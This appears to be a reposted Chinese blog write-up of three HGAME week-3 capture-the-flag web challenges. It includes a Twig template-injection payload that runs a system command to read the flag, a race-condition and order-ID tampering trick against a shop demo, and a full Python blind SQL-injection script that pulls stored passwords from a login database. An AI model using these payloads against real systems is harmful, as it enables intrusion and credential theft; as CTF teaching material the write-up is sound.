hgame-week3-web-wp

博客 分享
0 220
张三
张三 2022-02-11 19:55:13
悬赏:0 积分 收藏

hgame-week3-web-wp

hgame第三周(web ak)

1.SecurityCenter

先看看hint(**vendor是第三方库和插件放置的文件夹,一般来源于composer的安装)

QQ图片20220208193851

找到了使用的twig模板,应该是twig模板注入

QQ图片20220208193918

查博客

QQ图片20220208193928QQ图片20220208193931

依葫芦画瓢http://146.56.223.34:60036/redirect.php?url={{["base64 /flag"]|map("system")}}

QQ图片20220208193939

进入了安全中心,应该不用点跳转了,Array前面就是base64编码(习惯了base都用basecrack免得套娃)

QQ图片20220208193943

hgame{!Tw19-S5t11s^s00O0O_inter3st1n5!}

2.Vidar shop demo

这题的环境感觉不是很友好,报错藏在弹窗后面看不太到,貌似是:昵称长度足够,电话限制11位,密码大于10位(藏在弹窗下面

进去之后

QQ图片20220210113102QQ图片20220210113145QQ图片20220210113142

抓个包把amount改成9999试试(只有9999个币,flag要10000)

QQ图片20220210113149

然并卵,想一想,那么其他几个便宜的徽章干嘛用呢? 条件竞争,也许是并发操作(查了一篇技术知乎):

QQ图片20220210114352QQ图片20220210114405QQ图片20220210114408

回到题目:

我先尝试了手动购买多个订单,然后设置并发50删除订单,发现钱没有多退给我,反而可能变少,证实了并发操作是可以改变余额的。

那么我们多来几个订单(为了测试),试试并发购买(虚拟机转主机了,因为虚拟机太慢)

QQ图片20220210114732QQ图片20220210114736

回到订单列表,买好了(如果看一下余额算一下发现少用了钱

QQ图片20220210114743

再退掉几个订单

QQ图片20220210115238

发现钱变多了!

QQ图片20220210115243

方法二:(无并发操作)购买买一个flag和一个徽章,在删除徽章的时候抓包,改一下flag的ID就可以了

好耶 hgame{78ae16367b8c8f23f8bb81db0b1aa2d5bd909ef5a3f186f5e470303988c7e762}

3.LoginMe

先随便登一下

QQ图片20220210121527

json格式,常规测试之后猜测应该是sql注入

QQ图片20220210122022

盲注脚本

import requestsimport jsonurl = 'http://5a51fa042c.login.summ3r.top:60067/login'flag = ''for i in range(1,2000):   low = 32   high = 128   mid = (low+high)//2   while(low<high):    #    1' or (sqlite_version() GLOB '3.36.0') or '2'='1    #   payload = "-1' or substr((select hex(group_concat(sql)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))       payload = "-1' or substr((select hex(group_concat(passWord)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))       datas = {           "username": payload,           "password": "1"       }       headers = {'Content-Type': 'application/json'}       res = requests.post(url=url,headers=headers,data=json.dumps(datas))       if 'success!' in res.text:      # 为真时,即判断正确的时候的条件           low = mid+1       else:           high = mid       mid = (low+high)//2   if(mid ==32 or mid ==127):       break   flag = flag+chr(mid)   print(flag)# print('\n'+bytes.fromhex(flag).decode('utf-8'))
QQ图片20220210122959

base解码一下:

QQ图片20220210123002

54c89486be811c26424c4335ed1af27e,应该是对应的密码,用户名应该是admin

QQ图片20220210123138QQ图片20220210123158

(题目环境5min重置一次,所以每次python跑出来的值都不一样,密码也就不同)

posted @ 2022-02-11 19:31 时空怡梦笙兮 阅读(3) 评论(0) 编辑 收藏 举报
回帖
    张三

    张三 (王者 段位)

    821 积分 (2)粉丝 (41)源码

     

    温馨提示

    亦奇源码

    最新会员